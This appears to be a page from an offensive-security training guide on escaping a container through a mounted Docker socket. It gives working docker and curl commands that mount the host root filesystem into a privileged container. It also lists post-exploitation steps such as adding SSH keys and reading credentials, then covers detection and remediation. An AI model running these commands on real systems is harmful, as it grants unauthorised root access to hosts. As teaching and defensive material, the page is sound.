Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 02. Containers / Container Escape / Attacks

Docker Socket

The Docker socket is the local control interface for the Docker daemon.

If a container can access /var/run/docker.sock, it can often control Docker on the host. Since the Docker daemon runs with host-level privileges, this is usually equivalent to root on the Docker host.


Preconditions

This technique requires:

  • Docker socket mounted inside the container
  • Permission to read and write the socket
  • Docker daemon running on the host
  • A usable Docker client, or curl access to the Unix socket

Check:

ls -la /var/run/docker.sock
id

If the socket is writable by the current user or group, continue.


Why It Works

The socket does not control only the current container.

It controls the host Docker daemon.

That daemon can:

  • Create new containers
  • Mount host paths
  • Run privileged containers
  • Join host namespaces
  • Read container logs
  • Copy files in and out of containers

The escape is usually:

use docker socket
create new privileged container
mount host root filesystem
chroot into mounted host

Docker CLI Method

Check access:

docker version
docker ps
docker info

If the Docker client is missing but package installation is allowed, install only the client tooling needed for the lab:

apk add docker

or:

apt-get update && apt-get install docker.io

Start a new container with host root mounted:

docker run --rm -it -v /:/host alpine chroot /host /bin/sh

If Bash exists on the host:

docker run --rm -it -v /:/host alpine chroot /host /bin/bash

If the image is not available locally, the daemon may try to pull it. In restricted environments, use an image already present:

docker images

Privileged Container Variant

Create a privileged container:

docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh

--privileged is not always required for the host-root mount technique, but it usually makes the container much less restricted.


Curl Method

If the Docker CLI is missing, use the HTTP API over the Unix socket.

Check version:

curl --unix-socket /var/run/docker.sock http://localhost/version

List containers:

curl --unix-socket /var/run/docker.sock http://localhost/containers/json

With raw curl, prefer one-shot proof commands and logs. Interactive attach through the HTTP API is possible, but it is clumsy compared to the Docker CLI.

Create a container that mounts the host filesystem and prints host proof:

curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id; hostname; cat /host/etc/os-release"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Start it:

curl --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start

Read output:

curl --unix-socket /var/run/docker.sock \
  "http://localhost/containers/CONTAINER_ID/logs?stdout=1&stderr=1"

The raw API is clumsier than the Docker CLI, but the security impact is the same. Socket write access lets us ask the host daemon to create a new container with host-level options.


Post-Exploitation Paths

Once host filesystem access is confirmed, useful proof targets include:

cat /host/etc/hostname
cat /host/etc/os-release
ls -la /host/root

Avoid destructive changes in training unless the lab explicitly requires them.

Host-impact options in real assessments include:

  • Add SSH keys
  • Read host secrets
  • Modify startup scripts
  • Access /var/lib/docker
  • Read cloud credentials
  • Chroot into host

Detection

Host indicators:

  • Containers with /:/host binds
  • New privileged containers
  • Docker API calls from unexpected containers
  • Containers mounting /var/run/docker.sock
  • chroot /host command lines
  • Docker events showing unusual container creation

Useful commands:

docker events
docker ps --no-trunc
docker inspect CONTAINER

Remediation

  • Do not mount /var/run/docker.sock into application containers.
  • Treat Docker socket access as host-root access.
  • Use rootless Docker where appropriate.
  • Use a restricted proxy if a container must interact with Docker.
  • Restrict membership in the docker group.
  • Monitor container creation events.
  • Alert on privileged containers and host-root bind mounts.
  • Separate build systems from production runtime hosts.

The Docker socket is not a normal application secret. It is a host control plane.